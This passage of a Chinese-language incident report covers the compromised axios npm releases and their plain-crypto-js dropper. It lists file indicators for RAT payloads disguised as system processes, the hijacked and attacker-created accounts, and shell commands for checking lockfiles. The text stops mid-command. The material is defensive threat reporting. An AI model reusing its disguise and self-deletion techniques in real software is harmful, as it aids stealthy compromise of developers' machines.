152, 116);"><span leaf="">持久</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">macOS RAT 二进制，伪装为 Apple 系统缓存守护进程</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">Windows</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%PROGRAMDATA%\wt.exe</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">持久</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">PowerShell 解释器副本，伪装为 Windows Terminal</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">Windows</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%TEMP%\6202033.vbs</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">临时（自删除）</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">VBScript 启动器，执行后自动删除</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">Windows</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%TEMP%\6202033.ps1</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">临时（自删除）</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">PowerShell RAT 脚本，执行后自动删除</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">Linux</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/tmp/ld.py</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">持久</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Python RAT 脚本，nohup 后台运行后保留在磁盘</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">全平台</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">node_modules/plain-crypto-js/setup.js</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已删除</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">投放器主体，自清理删除</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">全平台</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">node_modules/plain-crypto-js/package.md</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">残留</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">原为干净存根，已被重命名为 package.json</span></p></td></tr></tbody></table></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">7.5 攻击者控制账号</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">账号</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">类型</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">邮箱</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">jasonsaayman</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">被劫持的合法 axios 维护者账号</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">邮箱被改为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ifstap@proton.me</span></code></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">nrwise</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">攻击者创建的一次性账号</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">nrwise@proton.me</span></code></td></tr></tbody></table></p><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">八、排查指南</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">8.1 依赖检查</span></h3><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 axios 版本</span></span><span leaf=""><br/></span><span leaf="">npm list axios 2&gt;/dev/null | grep -E </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;1\.14\.1|0\.30\.4&#34;</span></span><span leaf=""><br/></span><span leaf="">grep -A1 </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;&#34;axios&#34;&#39;</span></span><span leaf=""> package-lock.json | grep -E </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;1\.14\.1|0\.30\.4&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 yarn.lock</span></span><span leaf=""><br/></span><span leaf="">grep </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;axios@1.14.1\|axios@0.30.4&#39;</span></span><span leaf=""> yarn.lock</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 pnpm-lock.yaml</span></span><span leaf=""><br/></span><span leaf="">grep </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;axios@1.14.1\|axios@0.30.4&#39;</span></span><span leaf=""> pnpm-lock.yaml</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 关键检查：plain-crypto-js 目录是否存在（即使 package.json 已被替换）</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">ls</span></span><span leaf=""> node_modules/plain-crypto-js 2&gt;/dev/null &amp;&amp; </span><span style="box-sizing: border-box;border-width: 